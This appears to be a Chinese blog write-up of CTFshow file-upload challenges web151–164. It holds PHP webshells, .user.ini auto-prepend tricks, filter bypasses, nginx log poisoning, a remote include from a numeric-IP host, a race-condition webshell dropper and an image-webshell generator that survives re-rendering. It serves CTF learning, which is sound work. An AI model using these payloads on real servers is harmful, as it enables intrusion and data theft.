首页 > 其他分享 >CTFshow web入门vip 文件上传

CTFshow web入门vip 文件上传

时间:2024-07-30 11:08:31浏览次数:13  
标签:web 文件 vip 过滤 user ini php png CTFshow

web151

题目提示前端校验不可靠,看源码

可以看到是传到upload.php这个文件去接受文件上传,文件类型为图片,后缀限制为png

然后把前端验证修改一下,把文件后缀限制改成php

写个一句话木马传进去

1.php

<?php eval($_POST['x']);?>

url中需要加入我们传入文件的目录/upload.php,并指定/1.php这个文件,在这个文件下进行传参。

url:url/upload.php/1.php

post传参

  • x=system('ls');

  • x=system('ls ../');

  • x=system('tac ../flag.php');

得到flag

解法二:

通过抓包,修改传入的文件的后缀为png

web152

先改前端校验,参考web152,报错:

文件上传失败,失败原因:文件类型不合规

抓包看看,先看正常放一个png上去,是怎么个事

发现这里会把文件类型Content-Type发到后端进行校验,把这个正确的文件类型复制一下

把前端验证绕过把1.php传进去,把包抓下来

看到这个文件信息Content-Type: application/octet-stream把它改成image/png重放,就绕过后端校验了

后面的过程参考web151

web153

尝试了使用web152的方法(上传1.php抓包后修改请求头中的文件后缀名),发现文件可以上传,但是无法解析

.user.ini配置文件是PHP的,可以在全部环境里生效,而.htaccess配置文件是Apache特有

需要用到ini文件,把.user.ini这个文件传到/upload,让/upload目录下所有文件自动包含 1.png

上传.user.ini时发现有后缀限制,将其改为.user.png,再抓包后将文件名改回.user.ini就行

.user.ini 文件内容

 auto_prepend_file=1.png    #自动包含 1.png

传入1.png,里面写入一句话木马

payload:

也可以蚁剑连

https://cf506962-78c8-4f29-98bb-6a879729f3d3.challenge.ctf.show/upload/index.php

web154

对文件内容进行了过滤,过滤了php这个词条,换php代码标记

这里还试过了另外几种风格的php代码标记,如<%%>,发现都不行

其他的参照web153

尝试了使用web152的方法(上传1.php抓包后修改请求头中的文件后缀名),发现文件可以上传,但是无法解析

.user.ini配置文件是PHP的,可以在全部环境里生效,而.htaccess配置文件是Apache特有

需要用到ini文件,把.user.ini这个文件传到/upload,让/upload目录下所有文件自动包含 1.png

上传.user.ini时发现有后缀限制,将其改为.user.png,再抓包后将文件名改回.user.ini就行

.user.ini 文件内容

 auto_prepend_file=1.png    #自动包含 1.png

传入1.png,里面写入一句话木马

payload:

flag

web155

自带 .user.ini,但不影响,payload 与 web154 一致

对文件内容进行了过滤,过滤了php这个词条,换php代码标记

这里还试过了另外几种风格的php代码标记,如<%%>,发现都不行

其他的参照web153

尝试了使用web152的方法(上传1.php抓包后修改请求头中的文件后缀名),发现文件可以上传,但是无法解析

.user.ini配置文件是PHP的,可以在全部环境里生效,而.htaccess配置文件是Apache特有

需要用到ini文件,把.user.ini这个文件传到/upload,让/upload目录下所有文件自动包含 1.png

上传.user.ini时发现有后缀限制,将其改为.user.png,再抓包后将文件名改回.user.ini就行

.user.ini 文件内容

 auto_prepend_file=1.png    #自动包含 1.png

传入1.png,里面写入一句话木马

payload:

flag

web156

先将.user.ini上传上去,抓包改后缀

 auto_prepend_file=1.png    #自动包含 1.png

对 上传文件的**内容**过滤

修改1.png中的一句话木马

<?php --->换成 <?=

[] ---> 换成{}

payload:

<?php @eval($_POST{'x'});?>

web157

先将.user.ini上传上去,抓包改后缀

 auto_prepend_file=1.png    #自动包含 1.png

正则匹配过滤了很多东西如

分号; $_POST[' '] <?php

直接在一句话木马里调用直接读取flag的代码,不传参数

payload:

.user.ini:auto_prepend_file=1.png

1.png:<?=system('tac ../f*')?>

直接访问url/upload/即可

web158

payload同157

先将.user.ini上传上去,抓包改后缀

 auto_prepend_file=1.png    #自动包含 1.png

正则匹配过滤了很多东西如

分号; $_POST[' '] <?php

直接在一句话木马里调用直接读取flag的代码,不传参数

payload:

.user.ini:auto_prepend_file=1.png

1.png:<?=system('tac ../f*')?>

直接访问url/upload/即可

web159

先将.user.ini上传上去,抓包改后缀

 auto_prepend_file=1.png    #自动包含 1.png

过滤了括号,也就是说system()这种函数用不了了,那就用``执行运算符

payload:

1.png :

web160

``也被过滤了

用php内置的include函数包含默认路径的日志文件,包含并执行这个日志文件,而日志文件里存有UA,UA中有我们写好的php一句话木马,就会执行这个一句话木马

然后再去访问一个这个UA头里带有后门代码的日志文件,就会触发这个后门代码

.user.ini:

auto_prepend_file=1.png

1.png

<?=include"/var/lo"."g/nginx/access.lo"."g"?>

这个是nginx默认缓存路径,做了绕过滤处理

这里需要再仔细了解一下

考点:还是过滤字符串 这里又过滤了**log** 字符串 所以使用拼接绕过

可以尝试 日志包含绕过 :

 <?=include"/var/lo"."g/nginx/access.lo"."g"?>

还是先上传.user.ini.png进行解析 然后包含/upload/index.php/ 然后服务器是nginx

知识点:nginx的默认日志路径是:/var/log/nginx/access.log

flag

web161

文件头检测

绕过这个检测机制需要我们在user.ini文件头加上GIF89A

对文件内容做了大量过滤如php代码标识:只允许形式,过滤‘’命令执行符号,过滤(),过滤[],等

经过尝试之后发现只能继续使用访问日志的方法

1.png :

GIF89A
<?=include"/var/lo"."g/nginx/access.lo"."g"?>

web162

突破过滤.

对文件内容做了大量过滤如php代码标识:只允许形式,过滤‘’命令执行符号,过滤(),过滤[],等

这题还过滤了.也就是说访问日志的方法也不行了,无法对nginx默认缓存路径做绕过滤处理

在包含的经过了IP转换的文件中加入一句话木马

.user.ini

GIF89a

auto_prepend_file=png

png

GIF89a

\<?=include'http://151523133/''>

web163

对文件内容做了大量过滤如php代码标识:只允许形式,过滤‘’命令执行符号,过滤(),过滤[],等

这题还过滤了.也就是说访问日志的方法也不行了,无法对nginx默认缓存路径做绕过滤处理

在包含的经过了IP转换的文件中加入一句话木马

.user.ini

auto_prepend_file=png

png

GIF89a

\<?=include'http://151523133''>

index.txt 后门代码

png自动删除

规则:

1.都删除

2.后门代码删除

条件竞争:在上传成功,立马访问,,创建型代码(代码被执行后重新新建一个文件

<?php $f=fopen("7.php","w"); fputs($f,'<?php eval($_POST[7]);?>');?>

这里我们用条件竞争,在.user.ini中写入

auto_prepend_file=http://151523133/

然后直接访问/upload/再hackerbar rce就行

web164

二次渲染

当我们把图片上传图像上去之后,他进行了二次加工,这就叫二次渲染 这个过程就会造成payload失效

二次渲染判断:

  1. 判断文件上传前后的大小

  2. 判断文件后返回的数据包中特殊的标记

这里用别人写的php代码生成一个图片马

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./7.png');
?>
#<?=$_GET[0]($_POST[1]);?>

把这段代码放在小皮里跑一下,就会生成一个7.png在同目录中,将其上传

这题上传路径跟之前的稍有不同,注意一下,上传成功后点击查看可以看到这个路径的

/download.php?image=9eb9cd58b9ea5e04c890326b5c1f471f.png

其实也正是因为他是先访问download.php这个代码,然后请求包含image,才能让我们的png图片里的php代码能被解析,否则还是需要配合.user.ini文件才能解析png图片马

这是我们图片马中包含的一句话木马,get方式拿个参数0,post方式拿个参数1

<?=$_GET[0]($_POST[1]);?>

我一开始直接用的bp抓包,但是后来发现一直有点问题,可能是格式或者什么地方有要求

用hackerbar传参,但是没有回显

再用bp把这个包抓下来,成功回显flag

标签:web,文件,vip,过滤,user,ini,php,png,CTFshow
From: https://www.cnblogs.com/Sol9/p/18331906

相关文章

  • ctfshow 每周大挑战 rce挑战1-5
    RCE挑战1RCE挑战2题目<?php//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。error_reporting(0);highlight_file(__FILE__);if(isset($_POST['ctf_show'])){$ctfshow=$_POST['ctf_show'];if(is_string($ctfshow)){if(!......
  • Zabbix 5.0 LTS 配置企业微信(Webhook)自动发送告警信息
    依据前面文章《Zabbix5.0LTSURL健康监测》环境,实现企业微信(Webhook)自动发送告警信息。一、创建企业微信机器人先在自己的企业微信群里创建一个机器人,并获取其WebHook地址。右击群聊天卡片,添加群机器人。获得一个类似下图的WebHook地址。注意,这个WebHook地址非常......
  • Axure Web端元件库:构建高效互动网页的基石
    在快速迭代的互联网时代,Web设计与开发不仅追求视觉上的美感,更注重用户体验的流畅与功能的强大。AxureRP,作为一款专业的原型设计工具,凭借其强大的交互设计能力和丰富的元件库,成为了众多UI/UX设计师、产品经理及前端开发人员的首选。本文将深入探讨AxureWeb端元件库,特别是其涵......
  • 你能将 HTTPS 功能添加到 python Flask Web 服务器吗?
    我正在尝试构建一个Web界面来模拟网络设备上的静态接口,该网络设备使用摘要式身份验证和HTTPS。我想出了如何将摘要式身份验证集成到Web服务器中,但我似乎无法找到如何使用FLASK获取https,如果您可以向我展示如何实现,请评论我需要使用下面的代码做什么来实现这一点。from......
  • vue项目引入live2d保姆级教程--web端、多种方法
    一、自建live2d运行1、选择SDK——live2d Cubism SDK (1)链接:Live2DCubismSDK|Live2DCubism     打开网站,它长这样:(2)选择web,到下个页面(3)下载勾选同意,填写邮箱,点击下载,得到一个压缩包注意:如果你需要完整的的SDK按上文来就行,实际这篇文章主要用到内容是c......
  • Web系列-文件上传
    Web系列-文件上传做题思路前端限制了上传文件的后缀,可以在前端修改代码或者bp抓包,再上传符合前端要求的文件类型,抓包后进行修改。如果是php的环境,可以利用.user.ini,是一个局部配置文件,可以通过配置选项使每个php文件头或文件尾都进行文件包含.user.ini利用需要在此目录下还有p......
  • 【Vulnhub靶场AI-WEB-1.0打靶教程】
     第一步:查看虚拟机的ip第二步:扫描ip下开放的80端口第三步:扫描查到的ip地址下的目录第四步:访问查到的目录访问robot.txt第五步:访问robot.txt显示出的目录第六步:打开kali终端,使用sqlmap功能sqlmap-u"http://192.168.189.153/se3reTdir777/index.php"-data"uid=......
  • 11. 2 用Python开发一个简单的Web服务器
    用Python开发一个简单的Web服务器11.2用Python开发一个简单的Web服务器11.2.1需求分析11.2.2系统设计11.2.3详细设计11.2.4实现11.2.5测试11.2.6部署和维护11.2.7文档和帮助文档11.2.8用户反馈11.2用Python开发一个简单的Web服务......
  • AI-WEB-1.0详细教程
    目录一、主机发现二、漏洞发现三、漏洞利用一、主机发现启动靶机虚拟机为NAT模式,我们根据真实机VMnet8的IP将虚拟机的IP扫描出来。可以看到页面什么都没有。所以我们需要进一步扫描。扫描目录,index是我们刚刚访问的界面。双击打开robots.txt。有新发现的目录,我......
  • Javaweb项目|停车场微信小程序的设计与实现+ssm【源码+论文+PPT+部署视频】
    我们提供多元化的技术项目服务,涵盖Java、PHP、Python等编程语言,以及前端开发、人工智能、大数据、单片机开发、ASP.NET、物联网等领域。我们还提供简历模板、面试题库和学习资料,帮助用户提升技术能力和就业竞争力。我们的服务内容包括:免费功能设计、任务书和开题报告撰写、......